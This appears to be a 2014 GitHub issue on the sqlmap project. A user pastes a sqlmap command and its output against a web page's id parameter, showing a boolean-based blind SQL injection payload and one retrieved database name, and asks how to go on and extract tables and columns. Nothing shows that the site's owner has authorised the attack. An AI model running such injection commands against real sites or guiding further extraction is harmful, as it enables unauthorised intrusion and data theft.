Sqlmap: [ERROR] information_schema not available, back-end DBMS is MySQL < 5.0

Created on 19 Jun 2014 · 3Comments · Source: sqlmapproject/sqlmap

I was able to get the one database however, it didnt go any further because it says there is no schema available. please guide me to obtain tables and then columns.

sqlmap -u www.xyz.com/pro.php?id=3 --dbs --random-agent  --threads 3 --no-cast

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[*] starting at 17:10:13

[17:10:13] [INFO] fetched random HTTP User-Agent header from file '/usr/share/sqlmap/txt/user-agents.txt': Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)
[17:10:13] [INFO] resuming back-end DBMS 'mysql' 
[17:10:13] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

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Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=3 AND 3999=3999

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[17:10:15] [INFO] the back-end DBMS is MySQL
web application technology: PHP 4.4.9, Apache
back-end DBMS: MySQL 3
[17:10:15] [WARNING] information_schema not available, back-end DBMS is MySQL < 5. database names will be fetched from 'mysql' database
[17:10:15] [INFO] fetching number of databases
[17:10:15] [INFO] retrieved: 
[17:10:16] [INFO] heuristics detected web page charset 'ascii'

[17:10:17] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[17:10:17] [ERROR] unable to retrieve the number of databases
[17:10:17] [INFO] falling back to current database
[17:10:17] [INFO] fetching current database
[17:10:17] [INFO] retrieving the length of query output
[17:10:17] [INFO] resumed: 8
[17:10:17] [INFO] resumed: w007108w6
available databases [1]:
[*] w007108w6

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